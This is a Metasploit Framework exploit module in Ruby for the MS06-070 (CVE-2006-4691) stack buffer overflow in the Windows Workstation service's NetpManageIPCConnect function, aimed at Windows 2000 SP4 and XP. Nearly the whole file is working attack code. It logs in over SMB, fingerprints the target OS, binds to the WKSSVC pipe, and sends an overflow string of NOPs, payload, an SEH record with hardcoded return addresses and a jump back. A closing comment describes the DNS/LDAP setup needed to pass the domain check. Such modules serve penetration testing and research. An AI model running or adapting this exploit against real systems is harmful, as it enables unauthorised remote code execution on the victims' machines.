##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ManualRanking # Requires valid/working DOMAIN + DC

	include Msf::Exploit::Remote::DCERPC
	include Msf::Exploit::Remote::SMB
	include Msf::Exploit::Seh

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Microsoft Workstation Service NetpManageIPCConnect Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the NetApi32 NetpManageIPCConnect
				function using the Workstation service in Windows 2000 SP4 and Windows XP SP2.

				In order to exploit this vulnerability, you must specify a the name of a
				valid Windows DOMAIN. It may be possible to satisfy this condition by using
				a custom dns and ldap setup, however that method is not covered here.

				Although Windows XP SP2 is vulnerable, Microsoft reports that Administrator
				credentials are required to reach the vulnerable code. Windows XP SP1 only
				requires valid user credentials. Also, testing shows that a machine already
				joined to a domain is not exploitable.
			},
			'Author'         =>
				[
					'jduck'
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2006-4691' ],
					[ 'OSVDB', '30263' ],
					[ 'BID', '20985' ],
					[ 'MSB', 'MS06-070' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'    => 1024,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Automatic Targetting', { } ],
					[ 'Windows 2000 SP4',
						{
							'Offset' => (1058*2),
							'Ret' => 0x75022ac4  # pop/pop/ret in ws2help.dll
						}
					],
					[ 'Windows XP SP0/SP1',
						{
							'Offset' => (1290*2),
							'Ret' => 0x71ab21cd   # pop/pop/ret in ws2_32.dll
						}
					]
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 14 2006'))

		register_options(
			[
				OptString.new('SMBPIPE', [ true,  "The pipe name to use.", 'WKSSVC']),
				# NOTE: a valid domain name is required. See description.
				OptString.new('DOMAIN', [ true,  "The domain to validate prior to joining it."])
			], self.class)
	end

	def exploit

		connect()
		smb_login()

		mytarget = nil
		if (target.name =~ /Automatic/)
			case smb_peer_os()
				when 'Windows 5.0'
					print_status("Detected a Windows 2000 target")
					mytarget = targets[1]
				when 'Windows 5.1'
					begin
						smb_create("\\SRVSVC")
						print_status("Detected a Windows XP SP0/SP1 target")
					rescue ::Rex::Proto::SMB::Exceptions::ErrorCode => e
						if (e.error_code == 0xc0000022)
							fail_with(Exploit::Failure::Unknown, "Windows XP SP2 requires Administrator privileges!")
						end
						print_status("Detected a Windows XP target (unknown patch level)")
					end
					mytarget = targets[2]
				else
					fail_with(Exploit::Failure::NoTarget, "No target detected for #{smb_peer_os()}/#{smb_peer_lm()}...")
			end
		else
			mytarget = target
		end

		handle = dcerpc_handle(
			'6bffd098-a112-3610-9833-46c3f87e345a', '1.0',
			'ncacn_np', ["\\#{datastore['SMBPIPE']}"]
		)

		print_status("Binding to #{handle} ...")
		dcerpc_bind(handle)
		print_status("Bound to #{handle} ...")

		print_status("Building the stub data...")

		distance = mytarget['Offset']
		hostname = make_nops(distance - payload.encoded.length)
		hostname << payload.encoded
		hostname << generate_seh_record(mytarget.ret)
		hostname << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

		name = datastore['DOMAIN'] + "\\\\L"
		name = Rex::Text.to_unicode(name)
		name << hostname
		name << Rex::Text.to_unicode(rand_text_alphanumeric(1000) * 3)
		name << "\x00\x00"

		stub =
			NDR.uwstring("\\\\#{datastore['RHOST']}") +
			NDR.UnicodeConformantVaryingStringPreBuilt(name) +
			NDR.uwstring("") +
			NDR.uwstring("") +
			NDR.long(0) +
			NDR.long(1)

		print_status("Calling the vulnerable function...")

		begin
			dcerpc.call(0x16, stub)
		rescue Rex::Proto::DCERPC::Exceptions::NoResponse
		rescue => e
			if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
				raise e
			end
		end

		# Cleanup
		handler
		disconnect
	end

end



=begin

The IDL for NetrJoinDomain2 looks like this:
long _NetrJoinDomain2@28 (
	[in][unique][string] wchar_t * arg_1,
	[in][string] wchar_t * arg_2,
	[in][unique][string] wchar_t * arg_3,
	[in][unique][string] wchar_t * arg_4,
	[in][unique] struct_C * arg_5,
	[in] long arg_6
	);


1. --> dns server - query for IN.SRV _ldap._tcp.dc._msdcs.DOMAIN
2. <-- dns server - response including answer and additional record.
                    answer: whateverserver.DOMAIN priority 0 / weight 100 / port 389
						  additional: IN.A address of whateverserver.DOMAIN
3. --> ldap server - baseObject query with filter/attributes:
                   - filter: (&(&(DnsDomain=DOMAIN)(Host=TARGETHOSTNAME))(NtVer=06:00:00:00))
						 - attributes: AttributeDescriptionList: NetLogon
4. <-- ldap server - searchResDone success, attributes data
                   - PartialAttributeList netlogon - 1 item
						   - type 23, flags 0x1fd, domain GUID,
							forest, domain, hostname, netbios domain, netbios hostname,
							user, site, client site, version, lmtoken, nttoken
5. validated.

=end
